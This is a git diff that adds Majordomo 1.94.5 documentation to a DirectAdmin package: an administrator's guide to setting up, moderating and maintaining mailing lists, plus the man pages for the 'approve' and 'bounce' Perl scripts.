unsubscribe sample jerry@foobar.ora.com (Jerry Peek) + + Here's the general information for the list you've subscribed to, in + case you don't already have it: + + ...you should get a copy of the sample.info file here... + + From Owner-Majordomo@ora.com Mon Aug 2 15:22:30 1993 + Date: Mon, 2 Aug 93 12:24:41 PDT + To: jerry@foobar.ora.com + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + >>>> subscribe sample + Succeeded. + +5. Look at the log file; be sure these transactions are being logged. + +6. Send a message to the sample list: + + % /usr/lib/sendmail -v sample@ora.com + Subject: test message to sample list; will this make a log file? + + Hi, folks. + ^D + ...watch the transaction... + + And look at the message sent to the list. + + From Sample-Owner@ora.com Mon Aug 2 15:27:12 1993 + From: Jerry Peek + Date: Mon, 2 Aug 1993 12:26:58 EDT + To: sample@ora.com + Subject: test message to sample list; will this make a log file? + Sender: Sample-Owner@ora.com + Precedence: bulk + + Hi, folks. + + Be sure that the message is going into the list archive file, if + any. + + If you're planning to set up the "new-list" script, "comment out" + the list's current "resend" alias (add a "#" before it) and set up + "new-list". Test it to be sure you get a reply. + +7. If the list is closed, private, or moderated, check whether those + features are actually working. Test the list owner's account to be + sure mail gets there--including mail about the routine subscriptions + and unsubscriptions. + + Try sending a message from some other account to unsubscribe you. + Your request should be forwarded to the list owner unless you + created a "listname.auto" file. + +8. Try the "newinfo" and "passwd" commands from the list owner + account. (See "Majordomo Commands for List Owners", below.) The + corresponding files in the list directory should be updated. + +9. If you've made a list archive, there should be a file in it by now. + Get a listing of the archive and a copy of the file: + + % /usr/lib/sendmail -v majordomo + majordomo... aliased to "|/usr/local/majordomo/bin/wrapper majordomo" + index sample + get sample archive + ^D + "|/usr/local/majordomo/bin/wrapper majordomo"... Connecting to via prog... + "|/usr/local/majordomo/bin/wrapper majordomo"... sent. + + If you didn't see any errors, you should get two mail messages. One + is a copy of the file; the other holds the results of the majordomo + session: + + Return-Path: + To: jerry + From: Majordomo@ora.com + Subject: Majordomo file: list 'sample' file 'archive' + Reply-To: Majordomo@ora.com + + -- + + >From Sample-Owner Mon Aug 2 12:37:46 1993 + Received: by ora.com (5.65c/Spike-2.1) + id AA05037; Mon, 2 Aug 1993 12:35:17 -0700 + + ...copy of messages from the list... + + Return-Path: + To: jerry + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + -- + + >>>> index sample + SIZE DATE NAME + 5383 Sep 6 01:58 archive + >>>> get sample archive + List 'sample' file 'archive' + is being sent as a separate message. + + +MANAGING THE LISTS + +Majordomo makes day-to-day operation of a mailing list easier, but +there are still things to do. If your mailing lists are open (anyone +can subscribe) and unmoderated (anyone can post), you'll get fewer +messages, but you should still expect some. + +When mail (a subscription, unsubscription, or an article intended for a +moderated list) needs approval, majordomo sends the message to the list +owner(s). Any list owner (and in fact, anyone who knows the list +password) can send an approval message back to Majordomo to approve the +request. + +A "list owner" is the person (or people) listed on the +"listname-approval" alias in your system aliases file. (For sendmail, +that filename is usually /usr/lib/aliases or /etc/aliases.) + +Note that Majordomo lets you put different people on the +"listname-approval" and "listname-owner" aliases. If you split those +duties between two different people, keep that in mind as you read the +sections below. I've assumed that all list messages needing action go +to a single "list owner." + + +A List Owner's Account + +All a list owner needs is to be able to send and receive e-mail. The +owner doesn't need to have login access to the system where the list is +handled. + +The list owner doesn't even need to be on a UNIX system, although +majordomo comes with some UNIX scripts that make life easier for the +list owner. + + +Majordomo Commands for List Owners + +The requests for users can also be used by list owners. But there are +three more password-protected commands just for list owners. These +aren't mentioned in Majordomo's help file. If the owner doesn't have +an account on the machine where Majordomo runs, these commands allow +routine housekeeping via e-mail: + +- approve password subscribe/unsubscribe list address" + + Subscribe or unsubscribe someone from the list "list". For + example: + + approve !BooM! subscribe donut-makers Bob Baker + approve !BooM! unsubscribe donut-makers john.dough@bakers.org + +- passwd list old-password new-password + + Change the subscription approval password for "list" from + "old-password" to "new-password". Remember that this password is + stored, unencrypted, on the computer running Majordomo. Don't use + your login password! + +- newinfo list password + + Change the text in the "listname.info" file (the text a user + receives when they mail an "info" command or subscribe to the + list). The text is taken from the rest of the mail message until a + line with the three upper-case letters "EOF" at the start. + + Majordomo version 1.90, which should be out by the time this book is + printed, has a few new commands for list owners: (Thanks to John + Rouillard for this summary.) + +- config list password + + E-mails a copy of the configuration file for "list" to the owner. + The owner can edit the configuration file and send it back with + "newconfig". + + newconfig list password + ...config file contents here... + EOF + + The "newconfig" command installs a new configuration file for + "list". After you type the "newconfig" command, the rest of the + mail message should be a copy of the new configuration file. + +- writeconfig list password + + Rewrites the configuration file into standard form--including all + documentation in the configuration file. + +- mkdigest list password + + Force a digest to be generated for "list". + + +Approving Subscriptions and Moderating with "approve" + +The list owner will receive three types of mail messages from +Majordomo: + +- For subscriptions that need approval, you'll get a message with + APPROVE in the subject line. For closed lists all subscriptions + need approval. For open lists, approval is necessary only for + subscriptions where the subscriber specifies an e-mail address other + than their own. + +- For moderated lists, or for other messages that "resend" rejects, + you'll get a message with BOUNCE in the subject line. The subject + will tell you the reason for the bounce, and the body will contain + the whole bounced message. You decide whether this message is + appropriate to be sent to all the subscribers. + +- Reports of successful subscriptions and unsubscriptions. + +Majordomo includes "approve", a Perl script for making these chores +easier. For subscription requests, "approve" sends an e-mail message +back to "majordomo" indicating that the subscription should be +accepted. For messages submitted to moderated lists, "approve" adds an +"Approved:" header and re-sends the message to the list. The next two +sections show how to do these things manually in case the list owner is +on a system where "approve" (or Perl) can't run. They also show the +e-mail messages that fly back and forth. + +"approve" can be run either on the machine where majordomo is running +or on a remote machine where the list owner is managing the list by +e-mail. The "approve" script assumes that the Perl interpreter is in +/usr/local/bin/perl. If Perl is somewhere else, the first line of the +"approve" script should be edited to the path for that system: + + #! /usr/local/bin/perl + +"approve" uses a file named ".majordomo" (the name starts with a dot) +in the owner's home directory. It has an entry for each of the owner's +lists: the list name, list password and e-mail address of its +Majordomo server. There's a tab character (NOT space characters) +between the three fields in each line. For example, this is the +".majordomo" file for the owner of the "donut-makers" and +"mud-wrestlers" mailing lists: + + donut-makers !BooM! majordomo@bakers.org + mud-wrestlers GoJoan majordomo@foo.bar.com + +For security, it's a good idea to protect the file from other users. +Use a command like "chmod 600 .majordomo". + +To approve a request, feed the original approval-request message from +Majordomo to the "approve" script. Messages can be saved in separate +files, one per message, and named on the command line: + + % approve file1 file2 etc. + +Messages can also be fed to the standard input of "approve". For +example, in MH mail, where the "show" command displays a message: + + % scan 32 + 32+ 09/05 Majordomo@bakers.o APPROVE donut-makers<<-- postmaster@yu + % show | approve + +Or in "mush", the Mail User's Shell: + + ... + > 32 Majordomo@bakers.org Sep 5, (29/804) "APPROVE donut-makers" + ... + Msg 32 of 78: pipe approve + +The command in the Berkeley "mail" program is simply a vertical bar +(|). (For other mailers, check your documentation or help screen.) + + +Approving Subscriptions without "approve" + +It's possible that a list owner may be using a PC or some other system +where the "approve" script won't work. In that case, everything that +"approve" does can be done manually. This section and the next may +also be useful for those who want to know what "approve" does in more +detail. + +If someone sends a non-routine subscription to "majordomo", the server +sends a message to the list owner. There are two kinds of non-routine +subscription. One is when the person sends a subscribe/unsubscribe +command with a different e-mail address than their own. The other is +if the list is "closed"--that is, when the owner must approve all new +subscriptions. + +For example, the system postmaster at a bakery might want to set up a +list exploder (see Chapter 2) for the "donut-makers" mailing list. She +adds an exploder named donut-makers-dist@yummybake.com and sends this +mail to the Majordomo server: + + From: postmaster@yummybake.com + To: majordomo@bakers.org + + subscribe donut-makers donut-makers-dist@yummybake.com + +When Majordomo gets the message, it sees that the subscription address +isn't the same as the sender's address. So it sends the following mail +message to the list owner: + + From Owner-Majordomo@bakers.org Sun Sep 5 08:56:09 1993 + To: donut-makers-approval + From: Majordomo@bakers.org + Subject: APPROVE donut-makers + Reply-To: Majordomo@bakers.org + + -- + postmaster@yummybake.com requests that you approve the following: + + subscribe donut-makers donut-makers-dist@yummybake.com + + If you approve, please send a message such as the following back to + Majordomo@bakers.org (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD subscribe donut-makers donut-makers-dist@yummybake.com + + If you disapprove, do nothing. Thanks! + + Majordomo@bakers.org + +If an owner doesn't want to apprive the subscription request, I suggest +that he not just "do nothing." If a subscription is rejected, it's a +good idea to reply and explain why. Otherwise, the subscriber will +probably write to ask because she already got a message like this: + + From Owner-Majordomo@bakers.org Sun Sep 5 08:56:09 1993 + To: postmaster@yummybake.com + From: Majordomo@bakers.org + Subject: Majordomo results + Reply-To: Majordomo@bakers.org + + -- + >>>> subscribe donut-makers donut-makers-dist@yummybake.com + Your request to Majordomo@bakers.org: + + subscribe donut-makers donut-makers-dist@yummybake.com + + has been forwarded to the owner of the "donut-makers" list for approval. + This could be for any of several reasons: + You might have asked to subscribe to a "closed" list, where all new + additions must be approved by the list owner. + You might have asked to subscribe or unsubscribe an address other than + the one that appears in the headers of your mail message. + When the list owner approves your request, you will be notified. + + If you have any questions about the policy of the list owner, please + contact "sample-approval@bakers.org". Thanks! + + Majordomo@bakers.org + +As the message to the list owner explained, the owner can approve the +subscription by mailing an "approve" command to the majordomo server: + + From: owner-name@owner-address + To: Majordomo@bakers.org + + approve !BooM! subscribe donut-makers donut-makers-dist@yummybake.com + +(where "!BooM!" is the list password). + + +Moderating Lists without approve + +This section describes how to moderate messages manually if you can't +use "approve". It also shows the messages that get passed between the +list owner and Majordomo. + +Here's a message that the "donut-makers" list owner just received: + + Date: Sun, 5 Sep 93 22:17:34 PDT + To: Donut-makers-Owner@bakers.org + From: Donut-makers-Owner@bakers.org + Subject: BOUNCE Donut-makers@bakers.org: Approval required + + >From elliek@hearthbake.com Sun Sep 5 22:17:29 1993 + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + +If the owner doesn't want to approve the message, it's courteous to +mail a note to the original sender and explain why. (Maybe Ellie +should read the "donut-makers" "Frequently-Asked Questions" list.) + +There are a few ways to tell Majordomo (actually, the "resend" script) +to send an approved message. The easiest is the "approve" script. +Otherwise, the owner should send mail to the list address (in this +case, to Donut-makers@bakers.org). The owner adds a line like this to +the approved message header--or on the line before the approved +message: + + Approved: password + +There are two ways to do that: + +- On a mail system like MH that lets people modify the mail message + header, send the approved message to the list address as a new + message. Add the "Approved:" header at the top. (Delete headers + like "Date:"; leave "From:", "To:", and "Subject:".) For example: + + Approved: BigSecret + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + + When the "Approved:" header appears with the message headers, these + message headers will be used when the message is sent to the list. + Compare that to the second method below. + +- Majordomo 1.60 added a new way to approve messages that's handy for + owners who can't modify their mail headers. Send a new mail message + to the list address. Start the message body with the "Approved:" + line. Next, read in a copy of the approved message. Delete any + useless headers and send it. + + For example, in the Berkeley "mail" command: + + ... + N 17 Donut-makers-Owner Sun Sep 5 22:17 23/733 BOUNCE Donut-makers + ... + & mail donut-makers@bakers.com + Subject: + Approved: BigSecret + ~f 17 + Interpolating: 17 + (continue) + ~v ...editor starts... edit the headers... + (continue) + ~p ...shows message you've edited... + ------- + Message contains: + To: donut-makers@bakers.org + + Approved: BigSecret + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + + What's your favorite recipe for jelly donuts? Thanks. + (continue) + ^D ...sends message... + & + + In this second method, the message sent to the list will contain the + headers below the "Approved:" line. + Headers above the "Approved:" won't be used. + +Either way, Ellie's message will go to the list with no trace of the +password: + + From Donut-makers-Owner@bakers.org Sun Sep 5 23:40:22 1993 + Date: Sun, 5 Sep 93 22:17:29 PDT + From: elliek@hearthbake.com (Ellie Katella) + To: donut-makers@bakers.org + Subject: jelly donuts + Sender: Donut-makers-Owner@bakers.org + Precedence: bulk + + What's your favorite recipe for jelly donuts? Thanks. + + +Bounced Mail and the Bounces List + +List owners will get familiar with messages like these: + + Return-Path: + Date: Sun, 10 Oct 93 13:24:11 EDT + From: MAILER-DAEMON@mukluk.ice.ca (Mail Delivery Subsystem) + Subject: Returned mail: Cannot send message for 3 days + Message-Id: <9310101724.AA20948@mukluk.ice.ca> + To: listown@online.ora.com + + ----- Transcript of session follows ----- + 421 tuna.ice.ca: Host tuna.ice.ca is down + + ----- Unsent message follows ----- + Received: from online.ora.com by mukluk.ice.ca (4.1/4.7) + id for shh@tuna.ice.ca; Thu, 7 Oct 93 13:05:22 EDT + Received: by online.ora.com (5.65c/Spike-2.1) + id AA13466; Thu, 7 Oct 1993 10:13:03 -0400 + Date: Thu, 7 Oct 1993 10:13:03 -0400 + ... + +If your lists will be busy, you'll probably want to set up a special +list named "bounces". It's a list for subscribers of other lists whose +mail starts bouncing. The address of the subscriber is removed from +the list they used to belong to and added to the "bounces" list. A +cron job runs the "bounce-remind" script every night to send mail to +all the people with bad addresses. The mail's "From:" address and +envelope sender are set to "nobody", a user on your system whose mail +goes to /dev/null. (The /dev/null file is actually a "black hole." +Text written there disappears; it's thrown away.) + +If the mail gets through to a subscriber, the subscriber will find out +what has happened and how to fix it. If the problem isn't fixed after +a while (usually, a month or so), the list owner can review the +"bounces" subscriber list and remove the hopeless cases. + +To set up the "bounces" list: + +1. Make sure that the "nobody" user exists on your system. There + should also be a mail alias for "nobody" pointing to /dev/null: + + nobody: /dev/null + + If your system doesn't have that user and can't create it, you can + get by. Make a mail alias that has an obvious name ("trashcan", + "dustbin", "nothing", etc.) pointing to /dev/null; use it in the + setup below. + +2. Follow the steps in the section "Creating a New List" to make the + "bounces" list. Here's the main entry for "resend": + + bounces: "|/usr/local/majordomo/bin/wrapper resend -p junk + -l Bounces -f nobody -h foo.com.au -s bounces-outgoing" + + The priority "junk" helps stop mail bounces. + +3. Check the "bounce-remind" script to be sure that the path to the + Perl interpreter on the first line is correct. Take a quick look + through the script. + +4. Make a crontab entry to run "bounce-remind" once a night. + +5. Help list owners set up their accounts with the "bounce" script. + Remember that the owners' ".majordomo" files need an entry for the + "bounces" list as well as the other lists. + +Bounced messages come in so many different formats that it's hard to +completely automate subscriptions to the "bounces" list. (In fact, in +some cases, the addressee of the bounced mail won't even be shown in +the message!) If the list owner's system can run a Perl script, the +"bounces" script makes the job easy. The script works differently than +"approve". The script doesn't read a message from a file or standard +input. Instead, it reads its command line arguments: + + % bounce listname user@xyz.com + +That command would unsubscribe the address user@xyz.com from the +"listname" list and add them to the "bounces" list. An owner who can't +run the "bounce" script can send mail to Majordomo with two commands +like these: + + approve passwdA unsubscribe listname user@xyz.com + approve passwdB subscribe bounces user@xyz.com (931005 listname) + +The first command unsubscribes the user from the current list. The +second one subscribes the user to the "bounces" list, with a comment +that shows the date and the name of the list they used to belong to. + + +The Majordomo Log File + +Majordomo keeps a log file. The file's pathname is set in the $log +variable in your majordomo.cf file. It's a good idea to read the file +every day or two. + +When Majordomo is busy (such as after you've added a new list), you may +want to run "tail -f" to watch messages as they're being added to the +log. Clean it out periodically. I've found it useful to keep +compressed copies of old log files for reference. + +The log file won't give you much help with security problems. (As +Brent has made clear, security wasn't one of Majordomo's main goals.) +Transactions are logged with the "Reply-to:" or "From:" address in the +mail message header. For example, you can send a message like this: + + Reply-to: John Doe + From: Your-real-name + To: majordomo@bakers.org + + passwd donut-makers oldpassword newpassword + +This is what will be logged (and it will be "FAILED" only if the old +password was incorrect): + + Sep 05 21:06:31 bakers majordomo[27604] {johndoe@nowhere.org} + FAILED passwd donut-makers OLD NEW + +There's no trace of the original sender or any way to see the "OLD" +password he tried. One way to track messages like these is by reading +your system MTA log file. Another is by making duplicates of all mail +sent to "majordomo". For instance, the following alias would send a +copy of all majordomo requests to "owner-majordomo": + + majordomo: owner-majordomo, "|/usr/local/majordomo/bin/wrapper majordomo" + +Of course, on a busy system, the person who is "owner-majordomo" +will get a lot of mail; a mail filter program like "procmail" can store +that mail and help to sort out the messages you might really want to +see. (You can get "procmail", by Stephen R. van den Berg, from many +anonymous FTP sites.) Instead of a mailbox address, you can also give +the absolute pathname of a log file. Note that, in many cases, the +file will need to be world-writable (mode 622 or 666). + + +Managing the Archives + +An archive is a file containing messages that previously appeared on +the mailing list. You can create an archive simply by putting an entry +in the system MTA alias file as described in the section "Creating a +New List". + +A list's archive will keep growing forever until you truncate or split +it. It's a good idea to split the file once in a while. Otherwise, +people who "get" it can receive a HUGE mail message. (Worse, some +mailer may truncate the file or refuse to send it.) + +Majordomo doesn't come with fancy archive management tools. The +Majordomo distribution comes with a Perl script named +"split_archive.pl"--it's in the "Tools" subdirectory. It splits an +archive file into separate files, one per message, named 0001, 0002, +and so on. + +You can also put any ASCII file in the archive, and set up a directory +hierarchy. But you need to do this by hand. For example, if you want +majordomo to mail files that contain non-text characters, you'll need +to pre-process the files with a utility like "uuencode" or "btoa". + +If your site has an anonymous FTP area, you can set Majordomo to store +your archives there. You can also configure the majordomo.cf file to +handle "get" commands by mailing requests to an ftpmail server. (See +the section "Installing Majordomo".) To do that, define the variables +$ftpmail_address (and, optionally $ftpmail_location--the default is the +local host) in the majordomo.cf file. The ftpmail setup assumes that +the FTP archive is structured the same way as your local archive +directory. It uses the pathname $filedir/listname$filedir_suffix for +the archive directory, then issues an FTP "get" command for the file +specified. + + +Disabling Majordomo Temporarily + +Once Majordomo is running on your system, how do you do maintenance? +It's always active because mail aliases will start the program +anytime. If you make a mistake in your maintenance, mail can start to +bounce. One way is to shut off your system's sendmail daemon, but that +affects all mail on your system. + +An easier way is to make a small "stub" shell script named +"majordomo.hold": + + #! /bin/sh + exit 75 + +Make that file executable with "chmod 755 majordomo.hold". Then +quickly (so there's less chance of causing incoming mail to bounce) +swap the "majordomo" Perl script and your "majordomo.hold" script: + + % mv majordomo majordomo.tmp && mv majordomo.hold majordomo + +(The shell's "&&" operator lets you type both command lines before +executing either of them. It does the second "mv" command only if the +first one succeeds.) When mail comes in, sendmail will run your little +script, which will return an exit status of 75. This special status +makes sendmail defer (queue) the incoming message and try to deliver it +to "majordomo:" again later. When you're done with your maintenance, +swap the script with the real "majordomo" script and mail will be +processed again. (Special exit statuses like 75 are listed in the file +/usr/include/sysexits.h.) + +The same thing works with "resend"; disabling it will disable all of +the lists. + +Note that your sendmail may convert pathnames of commands run by +deferred messages to all lower-case letters. This problem may only +bite you after you defer messages. For example, if your "resend" alias +starts like this: + + sample: "|/usr/local/majordomo/bin/wrapper resend + -A -a /usr/local/majordomo/Lists/Sample.passwd + +The "L" and "S" in that pathname may be changed to "l" and "s" when the +message is deferred. If they are, "resend" won't be able to find the +password file. The fix for this problem is to either change your +sendmail.cf file or make all your file and directory names with only +lower-case letters. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 new file mode 100644 index 0000000..48a4bd9 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.1 @@ -0,0 +1,137 @@ +'\" t +.TH APPROVE 1 +.SH NAME +approve \- approve a Majordomo request +.SH SYNOPSIS +.B approve [filename] +.SH "DESCRIPTION" +.B approve +automates the task of replying to an approval request from Majordomo. Input +is the e-mail message containing Majordomo's request, read from +.IR filename , +or read from standard input if no filename is specified. +.PP +.B approve +currently understands two types of requests; those requesting +subscription to a +.I closed +list, and those which bounced due to a lack of permission to post to a +moderated, or +.IR private , +mailing list. +.B approve +reads the body of the message from Majordomo to determine the appropriate +action. Assuming a message containing a subscription request like the +following: +.sp 1 +.RS 3 +From: Majordomo@This.COM +.sp 0 +To: this-list-approval@This.COM +.sp 1 +Joe User requests you approve the following: +.sp 1 +.RS 3 +subscribe this-list Joe User +.RE +.sp 1 +If you approve, send a line such as the following to Majordomo@This.COM: +.sp 1 +.RS 3 +approve PASSWD subscribe this-list Joe User +.RE +.RE +.sp 1 +then running +.B approve +on the message by saving it in a file, e.g., +.sp 1 +.RS 3 +approve /tmp/request +.RE +.sp 1 +or +.sp 1 +.RS 3 +approve < /tmp/request +.RE +.sp 1 +will result in the following reply to Majordomo: +.sp 1 +.RS 3 +To: Majordomo@This.COM +.sp 1 +approve PASSWD subscribe this-list User@Fubar.COM (Joe User) +.sp 1 +.RE +If +.B approve +is on the user's path, then it's possible to execute it via a shell escape, +piping the current message to +.B approve +from a mail program, e.g., +.sp +.RS 3 +!approve +.RE +.sp +would +.I approve +the current message in /usr/ucb/Mail. +.PP +If, in the latter case, the "Subject:" line of the request from Majordomo is +"BOUNCE : ", the message is treated as a posting rejected by +.B resend +for some reason, and is reformatted with appropriate "Approved:" headers to +cause it to succeed, and then it is resubmitted to Majordomo for posting. +This provides an easy mechanism for the moderator of a mailing list to +approve postings to the list. +.SH CONFIGURATION +.B approve +assumes that the +.I approve +password for each list is the same as the +.I approval +password used by +.BR resend , +and that this password is stored +in a file called +.I .majordomo +in the user's home directory. The file has the following format: +.RS 5 +.TS +l l l . +.sp +this-list passwd1 Majordomo@This.COM +other-list passwd2 Majordomo@Other.GOV +.sp +.TE +.RE +The first column specifies the name of the mailing list, the second column +specifies the list-owner's password for the given list, and the third column +specifies the e-mail address of the associated Majordomo server. It is +assumed that the value in the third column is an Internet-style +"something@somewhere" address, and that postings for "List" should be sent +to "List@somewhere". Since this file +.B only +needs to be read by the user, it should be mode 600 to protect the +passwords. +.SH FILES +~/.majordomo +.sp 0 +/usr/local/lib/mail/majordomo/ +.SH SEE ALSO +majordomo(8),perl(1),resend(1). +.SH BUGS +There is no direct support for MH(1), so MH users will have to run +.B approve +directly on the message file in their inbox. +.sp +The +.I .majordomo +file requires an at-sign, "@", in the address of the Majordomo server, even +if it colocated on the same system as the list-owner. +.SH AUTHORS +Majordomo and most of the ancillary perl code was written by Brent Chapman, +. +This man page was written by Jim Duncan, . diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.man new file mode 100644 index 0000000..afe2f97 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/approve.man @@ -0,0 +1,132 @@ + + + +APPROVE(1) USER COMMANDS APPROVE(1) + + + +NAME + approve - approve a Majordomo request + +SYNOPSIS + approve [filename] + +DESCRIPTION + approve automates the task of replying to an approval + request from Majordomo. Input is the e-mail message con- + taining Majordomo's request, read from _f_i_l_e_n_a_m_e, or read + from standard input if no filename is specified. + + approve currently understands two types of requests; those + requesting subscription to a _c_l_o_s_e_d list, and those which + bounced due to a lack of permission to post to a moderated, + or _p_r_i_v_a_t_e, mailing list. approve reads the body of the + message from Majordomo to determine the appropriate action. + Assuming a message containing a subscription request like + the following: + + From: Majordomo@This.COM + To: this-list-approval@This.COM + + Joe User requests you approve the fol- + lowing: + + subscribe this-list Joe User + + If you approve, send a line such as the following to + Majordomo@This.COM: + + approve PASSWD subscribe this-list Joe User + + + then running approve on the message by saving it in a file, + e.g., + + approve /tmp/request + + or + + approve < /tmp/request + + will result in the following reply to Majordomo: + + To: Majordomo@This.COM + + approve PASSWD subscribe this-list User@Fubar.COM (Joe + User) + + If approve is on the user's path, then it's possible to exe- + cute it via a shell escape, piping the current message to + + + +Sun Release 4.1 Last change: 1 + + + + + + +APPROVE(1) USER COMMANDS APPROVE(1) + + + + approve from a mail program, e.g., + + !approve + + would _a_p_p_r_o_v_e the current message in /usr/ucb/Mail. + + If, in the latter case, the "Subject:" line of the request + from Majordomo is "BOUNCE : ", the message is + treated as a posting rejected by resend for some reason, and + is reformatted with appropriate "Approved:" headers to cause + it to succeed, and then it is resubmitted to Majordomo for + posting. This provides an easy mechanism for the moderator + of a mailing list to approve postings to the list. + +CONFIGURATION + approve assumes that the _a_p_p_r_o_v_e password for each list is + the same as the _a_p_p_r_o_v_a_l password used by resend, and that + this password is stored in a file called ._m_a_j_o_r_d_o_m_o in the + user's home directory. The file has the following format: + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.GOV + + The first column specifies the name of the mailing list, the + second column specifies the list-owner's password for the + given list, and the third column specifies the e-mail + address of the associated Majordomo server. It is assumed + that the value in the third column is an Internet-style + "something@somewhere" address, and that postings for "List" + should be sent to "List@somewhere". Since this file only + needs to be read by the user, it should be mode 600 to pro- + tect the passwords. + +FILES + ~/.majordomo + /usr/local/lib/mail/majordomo/ + +SEE ALSO + majordomo(8),perl(1),resend(1). + +BUGS + There is no direct support for MH(1), so MH users will have + to run approve directly on the message file in their inbox. + + The ._m_a_j_o_r_d_o_m_o file requires an at-sign, "@", in the address + of the Majordomo server, even if it colocated on the same + system as the list-owner. + +AUTHORS + Majordomo and most of the ancillary perl code was written by + Brent Chapman, . This man page was + written by Jim Duncan, . + + + +Sun Release 4.1 Last change: 2 + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 new file mode 100644 index 0000000..b585ecd --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.1 @@ -0,0 +1 @@ +.so man1/bounce.1 diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man new file mode 100644 index 0000000..5694ac3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce-remind.man @@ -0,0 +1,198 @@ + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + NNNNAAAAMMMMEEEE + bounce, bounce-remind - handle majordomo list subscribers + whose mail is undeliverable + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + [[[[----uuuunnnnssssuuuubbbb]]]] _m_a_j_o_r_d_o_m_o-_l_i_s_t _u_s_e_r-_a_d_d_r_e_s_s + + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + ----eeeexxxxppppiiiirrrreeee [[[[----mmmmaaaaxxxxaaaaggggeeee _d_a_y_s ]]]] _b_o_u_n_c_e-_a_d_d_r_e_s_s-_f_i_l_e + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + bbbboooouuuunnnncccceeee and bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd are perl scripts which help list + owners handle subscribers whose mail is bouncing. Mail is + "bounced" in this context when it is undeliverable because + hosts or addresses are unreachable or because of other mail + errors. + + Mail is also "bounced" by the resend script for various + administrative reasons; these bounces are described in + aaaapppppppprrrroooovvvveeee(1). + + When a list owner observes that an email address + consistently causes mail errors, the owner may use bbbboooouuuunnnncccceeee to + remove the address from the list and place the address on a + special bbbboooouuuunnnncccceeeessss mailing list. + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd,,,, which should be run nightly by ccccrrrroooonnnn(4M), + sends a message to each of the user addresses on the bbbboooouuuunnnncccceeeessss + list, on the chance that the mail error has been corrected. + The message informs the addressee that their mail has been + undeliverable and that they have been removed from one or + more majordomo lists. It also instructs them how to + unsubscribe from the bbbboooouuuunnnncccceeeessss list and re-subscribe to the + list of their choice. + + bbbboooouuuunnnncccceeee can also be used to expire addresses off the bbbboooouuuunnnncccceeeessss + list after a predetermined number of days. + + If bbbboooouuuunnnncccceeee is invoked under a name that contains ``unsub'' it + will simply unsubscribe the offending address from the + majordomo list; it will not place the address on the bbbboooouuuunnnncccceeeessss + list. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + These options relate to bbbboooouuuunnnncccceeee;;;; bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd takes no + arguments or options. + + + + Page 1 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + ----dddd Debug; print what would be done, but don't do it. + + ----ffff ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Use the specified configuration file. The default + is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the format for this file is + described in the CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the + aaaapppppppprrrroooovvvveeee(1) man page. This file provides the + list-owner's password for each list and the + address of the corresponding Majordomo server. + + ----mmmmaaaajjjjoooorrrrddddoooommmmoooo sssseeeerrrrvvvveeeerrrr----aaaaddddddddrrrreeeessssssss + Use this _s_e_r_v_e_r-_a_d_d_r_e_s_s for majordomo rather than + the address from the configuration file. + + ----uuuunnnnssssuuuubbbb Unsubscribes the offending address from the + majordomo list, without entering that address on + the bbbboooouuuunnnncccceeeessss list. This is equivalent to invoking + bbbboooouuuunnnncccceeee under a name containing ``unsub''. + + ----eeeexxxxppppiiiirrrreeee Expire entries from the specified bbbboooouuuunnnncccceeeessss list. + + 